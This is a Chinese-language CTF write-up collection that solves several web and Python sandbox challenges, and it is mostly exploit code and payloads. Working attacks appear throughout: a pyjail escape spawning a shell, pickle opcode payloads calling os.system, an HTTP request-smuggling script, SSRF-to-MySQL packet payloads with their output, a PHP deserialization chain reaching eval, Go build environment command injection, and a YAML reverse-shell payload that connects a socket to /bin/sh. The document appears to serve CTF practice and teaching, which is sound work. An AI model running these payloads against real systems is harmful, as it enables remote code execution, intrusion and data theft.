?CTF partial
[Pyjail] [Week4] 《关于我穿越到CTF的异世界这档事:终》
idea from jailCTF2025 primal https://jia.je/ctf-writeups/misc/pyjail/jailctf-2025-primal.html and https://shirajuki.js.org/blog/pyjail-cheatsheet/
测试用以下脚本
import re
def prime_check(n: int) -> bool:
if n < 2:
return False
for i in range(2, n):
if n % i == 0:
return False
return True
def repl():
global_namespace = {'__builtins__': {}}
while True:
try:
code = input('>>> ')
ALLOWED = "abcdefghij0klmnopqrstuvwxyz:_.[]()<,='"
filtered = ''.join(ch for ch in code if ch in ALLOWED)
print(f'Code: {filtered}')
if len(filtered) > 150:
print('过长!')
if not filtered.isascii():
print('包含非ASCII字符!')
if "eta" in filtered:
print('包含敏感词!')
if filtered.count("(") > 3:
print('包含过多括号!')
for m in re.finditer(r"\w+", filtered):
if not prime_check(len(m.group(0))):
print(f'WAF: {m} - err len {len(m.group(0))}')
try:
result = eval(filtered, global_namespace)
except SyntaxError:
exec(filtered, global_namespace)
else:
print('result:', result)
except EOFError:
break
except Exception as e:
print(f"Error: {e}")
repl()
payload:
# 我最开始卡在
[].__reduce_ex__('000'.__len__())[00].__globals__['__built''ins__']['he''lp']()
# 我的解
[aa:='aa'<'bb', [].__reduce_ex__(aa<<aa)[00].__globals__['__built''ins__']
['__impor''t__']('pty').spawn('sh')]
# 预期解是这个:
[bi:=00==000,ci:=bi<<bi,[].__reduce_ex__(ci)[00].__globals__['__built''ins__']
['__imp''ort__']('pdb').run('asd')]
[Week4] 布豪有黑客(四)
这道题做了防AI,本质是时间盲注,我们要用的只有判断的条件和时间。把数据处理成这样:
!! UNICODE(6) = ??
[2025-10-01 13:43:24]
[2025-10-01 13:43:24]
[2025-10-01 13:43:24]
>= 79
[2025-10-01 13:43:24]
[2025-10-01 13:43:26]
[2025-10-01 13:43:26]
>= 55
[2025-10-01 13:43:26]
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
>= 67
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
>= 61
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
[2025-10-01 13:43:27]
>= 58
[2025-10-01 13:43:27]
[2025-10-01 13:43:29]
[2025-10-01 13:43:29]
>= 56
[2025-10-01 13:43:29]
[2025-10-01 13:43:29]
[2025-10-01 13:43:29]
>= 57
处理后就可以用AI:
跑一遍,flag不对,但是很有人样了,使用最好的数据处理工具—眼睛,过一遍源码,发现第15位和25位ascii得减10。手动操作一下就过了,逆天题不想做第二遍。
[Pickle 反序列化] 这又又是什么函数
from flask import Flask, request, render_template
import pickle import base64
app = Flask(__name__)
PICKLE_BLACKLIST = [ b'eval', b'os', b'x80', b'before', b'after', ]
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
@app.route('/deser', methods=['GET', 'POST'])
def deser():
a = request.form.get('a')
if not a:
return "fail"
try:
decoded_data = base64.b64decode(a)
print(decoded_data)
except:
return "fail"
for forbidden in PICKLE_BLACKLIST:
if forbidden in decoded_data:
return "waf"
try:
result = pickle.loads(decoded_data)
return "done"
except:
return "fail"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
- pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
- 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.停止。最终留在栈顶的值将被作为反序列化对象返回。 - 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
- 内存:由Python的dict实现,为PVM的生命周期提供存储。说人话:将反序列化完成的数据以
key-value的形式储存在memo中,以便后来使用。
手写 opcode
| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
|---|---|---|---|---|
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
| N | 实例化一个None | N | 获得的对象入栈 | 无 |
| S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、‘等python字符串形式) | 获得的对象入栈 | 无 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
| p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
flask题能不弹shell就别弹,这里我选择写/static,拿到eval/exec后就可以选择打内存马或者直接rce了,选择很多
opcode = b'''cbuiltins
exec
(S'__import__(\'o\'\'s\').system(\'mkdir static&&cat /flag>static/a\')'
tR.'''
opcode = b'''cbuiltins
getattr
(c__main__
__builtins__
S'e\\x76al'
tR(S'__import__(\'o\'\'s\').system(\'mkdir static&&cat /flag>static/a\')'
tR.'''
opcode = b'''cbuiltins
getattr
(cbuiltins
list
S'clear'
tR(c__main__
PICKLE_BLACKLIST
tR.'''
opcode = b'''cos
system
(S'mkdir static&&cat /flag>static/b'
tR.'''
[POST RCE]来 get shell,速度
最无聊的一道题
把一句话打包成xz绕过mime检测,连蚁剑。
收集信息,很明显和sudo有关,环境的sudo修改日期最新,结合/etc/sudoers错误配置
sudo -h asd.asd.asd cat /flag
[模块源码审阅]好像什么都能读
还算有意思,最主要是要发现他的提示“算什么”,和明锐观察到抓包异相。发现flask 处于debug模式,搜索发现pin码计算可复现https://www.cnblogs.com/m1xian/p/18528813
结合这玩意,但是最终还是要下载requirements里面指定的版本去翻源码,复制过来填空最稳。
不想做第二遍,就这样。
[WIP][Week4] waf?waf!
次新次热的话题,外网火了四五年了,很容易找到内容
https://portswigger.net/web-security/request-smuggling
拓展:
https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
这道题自己实现了一个代理服务器,特征
- 在多个相同cl或te表头存在时,取最后一个(与后端uvicorn一致)
- 优先采取tl识别请求(与后端uvicorn不一致)
我们就利用这个不一致的点,让我们的一个请求被前后端服务器解释为两个不同的含义。poc如下:
import socket
import time
PROXY_HOST = 'challenge.ilovectf.cn'
PROXY_PORT = 30433
def send_and_recv_sequence():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((PROXY_HOST, PROXY_PORT))
req1_headers = (
"POST /calc HTTP/1.1\r\n"
"Content-length: 51\r\n"
"Transfer-Encoding: chunked\r\n"
"Transfer-encoding: cow\r\n"
"Content-Type: application/x-www-form-urlencoded;charset=utf-8\r\n"
"\r\n"
"0\r\n"
"&calc=__import__('os').popen('cat /flag').read()\r\n"
)
s.sendall(req1_headers.encode())
try:
data = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
except Exception as e:
# 超时或连接结束
pass
print("=== Raw response from proxy/backend ===")
print(data.decode(errors='replace'))
s.close()
if __name__ == '__main__':
send_and_recv_sequence()
[Week4] android or apple
审阅代码,发现头部可控,检测了waf关键词但未拦截,很容易SSRF,
扫一下内网服务,发现经典3306端口有一个MySQL服务
import requests
url_base = "http://challenge.ilovectf.cn:30624/"
def attackMySQL(payload):
res_data = requests.get(url_base + "verify.php", headers={
'X-Verify-Code-Url': f'iwantflag://127.0.0.1:3306/{payload}'
}).text
link = res_data[res_data.find('</p><img src="./images/')+len('</p><img src="./images/')-1:res_data.find('" alt="Verification')]
bin_data = requests.get(f'{url_base}images/{link}').content
return bin_data
print(attackMySQL(r"%27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%2C%00%00%00%03select%20group_concat%28flag%29%20from%20ctf_db.flags%00%00%00%00"))
审阅代码,发现protocol不为http时,代理采用了一种类似于Gopher协议的方式发包,只是去掉了path前的_,在网上学习一下MySQL的tcp传输协议,很容易找到现成的payload生成器。
SQL提取数据过程
//src
00:13:14 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P 'select database()'
Payload:
%27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%12%00%00%00%03select%20database%28%29%00%00%00%00
//src
00:13:25 ❯ python .\scan.py
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x0e\x00\x00\x00\x14rX\x02\x01\x1e5^\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\ru\x15r(Y(\x15G._\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01 \x00\x00\x02\x03def\x00\x00\x00\ndatabase()\x00\x0c!\x00f\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00\x01\x00\x00\x04\xfb\x05\x00\x00\x05\xfe\x00\x00\x02\x00\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00'
//src
00:13:37 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P "select group_concat(table_name) from information_schema.tables where table_schema='ctf_db'"
Payload:
%27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%5B%00%00%00%03select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema%3D%27ctf_db%27%00%00%00%00
//src
00:16:51 ❯ python .\scan.py
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x0f\x00\x00\x00*%Up\x08\x01`l\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x17\'w`\x1en!\x11\x0b#p\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01.\x00\x00\x02\x03def\x00\x00\x00\x18group_concat(table_name)\x00\x0c!\x00\xff\x03\x00\x00\xfd\x00\x00\x00\x00\x00\x05\x00\x00\x03\xfe\x00\x00"\x00\x06\x00\x00\x04\x05flags\x05\x00\x00\x05\xfe\x00\x00"\x00\x07\x00\x00\x01\x00\x00\x00"\x00\x00\x00'
//src
00:17:01 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P "select group_concat(column_name) from information_schema.columns where table_name='flags'"
Payload:
%27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00Z%00%00%00%03select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_name%3D%27flags%27%00%00%00%00
//src
00:17:49 ❯ python .\scan.py
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x10\x00\x00\x00\'{R[=]]]\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%BgIHah9l\x171\x03\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01/\x00\x00\x02\x03def\x00\x00\x00\x19group_concat(column_name)\x00\x0c!\x00\xff\x03\x00\x00\xfd\x00\x00\x00\x00\x00\x05\x00\x00\x03\xfe\x00\x00"\x00\x05\x00\x00\x04\x04flag\x05\x00\x00\x05\xfe\x00\x00"\x00\x07\x00\x00\x01\x00\x00\x00"\x00\x00\x00'
//src
00:18:05 ❯ D:\Python27\python2.exe .\gen.py -u root -d '' -P "select group_concat(flag) from ctf_db.flags"
Payload:
%27%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00%00%2C%00%00%00%03select%20group_concat%28flag%29%20from%20ctf_db.flags%00%00%00%00
//src
00:18:51 ❯ python .\scan.py
b'[\x00\x00\x00\n5.7.42-0ubuntu0.18.04.1\x00\x11\x00\x00\x00\x1d\x1by`x~i5\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06 >\x0e2\x1dr\x18;BQ>\x00mysql_native_password\x00\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x01\x01(\x00\x00\x02\x03def\x00\x00\x00\x12group_concat(flag)\x00\x0c!\x00\x00\x0c\x00\x00\xfc\x00\x00\x00\x00\x00\x05\x00\x00\x03\xfe\x00\x00"\x00,\x00\x00\x04+flag{761cca35-07cb-4372-bc2b-c7d62a2b8e12}}\x05\x00\x00\x05\xfe\x00\x00"\x00\x07\x00\x00\x01\x00\x00\x00"\x00\x00\x00'
[PHP反序列化] Path to Hero
签到题来的,简简单单绕
<?php
Class Start
{
public $ishero;
public $adventure;
public function __construct($ishero, $adventure){
$this->ishero = $ishero;
$this->adventure = $adventure;
}
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊,去寻找利刃吧<br>";
return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧!<br>";
}
}
}
class Sword
{
public $test1;
public $test2;
public $go;
function __construct($test1, $test2, $go){
$this->test1 = $test1;
$this->test2 = $test2;
$this->go = $go;
}
public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了,是时候去讨伐魔王了!<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}
class Mon3tr
{
private $result;
public $end;
function __construct($result, $end){
$this->result = $result;
$this->end = $end;
}
public function __toString()
{
$result = new Treasure();
echo "到此为止了!魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗?<br>";
}
return "<br>";
}
}
class Treasure
{
public function __call($name, $arg)
{
echo "结束了?<br>";
eval($arg[0]);
}
}
$treasure = new Treasure();
$mon3tr = new Mon3tr($treasure, "print_r(file_get_contents('/fl'.'ag'));");
$sword = new Sword(240610708, 314282422, $mon3tr);
$start = new Start("herowantflag", $sword);
//unserialize(serialize($start));
echo "\n";
echo urlencode(serialize($start));
[Week1] secret of php
基础要牢,week1最值得做的一道题
https://www.runoob.com/php/php-intval-function.html
https://hello-ctf.com/hc-web/php_basic/#md5
1. 0x7e9、2025.1、2025a
http://challenge.ilovectf.cn:30673/Flll4g.php?aa[]=&bb=
&aaa=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03
&bbb=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03&aaa=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03&bbb=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03
[Python原型链污染] 这是什么函数
from flask import Flask,request,render_template
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
with open('/flag','r') as f:
flag = f.read().strip()
if cat == dog:
return flag
else:
return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "fail"
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
/pollute 路由递归地将用户输入merge到cls实例instance中。
/flag 做一些检验
绕过检验
{
'__init__':{
'__globals__':{
'cat': 'how to get the flag?'
}
}
}
访问/flag成功拿到flag;也可以污染file=”/flag”,访问/src拿到flag。
[Week3] VIP
我恨啊


{
"code": "package main\nimport \"C\"\n\nfunc main() {}",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux",
"CC": "/bin/sh -c 'find / -type f -perm /4000 2>/dev/null > /tmp/build/s.txt; gcc \"$@\"' gcc-shim"
}
}
{
"code": "package main\nimport (_ \"embed\"; \"os\")\n\n"#go:embed s.txt\nvar f []byte\n\nfunc main() { os.Stdout.Write(f) }",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux"
}
}

{
"code": "package main\nimport \"C\"\n\nfunc main() {}",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux",
"CC": "/bin/sh -c '/usr/local/bin/flagread /flag.txt > /tmp/build/flag.txt; gcc \"$@\"' gcc-shim"
}
}
{
"code": "package main\nimport (_ \"embed\"; \"os\")\n\n"#go:embed flag.txt\nvar f []byte\n\nfunc main() { os.Stdout.Write(f) }",
"env": {
"CGO_ENABLED": "1",
"GOOS": "linux"
}
}
[Week3] EZPHP
- 非法传参,
_换成[,空格,+,?,&进行 urlencode - 无字母数字RCE
?a=$_=~%88%97%90%9E%92%96;echo%20`$_`;
- 取反剩下四字符操作空间
>cat
* >a
[Week3]MySQL管理工具
- jwtcrack爆破出密钥,传username为admin的token
- 伪造mysql服务端,收集信息发现用户目录的app.py https://github.com/allyshka/Rogue-MySql-Server
- 然后打一个yaml的反弹shell
payload = """
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "import socket,subprocess;ooo=__import__('o''s');s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('',2333));ooo.dup2(s.fileno(),0); ooo.dup2(s.fileno(),1); ooo.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"
"""
asalin: 所以就建议打内存马 或者把rce结果写到/tmp下面mysql读取
asalin: mysql还可以udf提权 适用于本地存在mysql的情况 可以去学习一下
[Week4]EZ_Ref
你好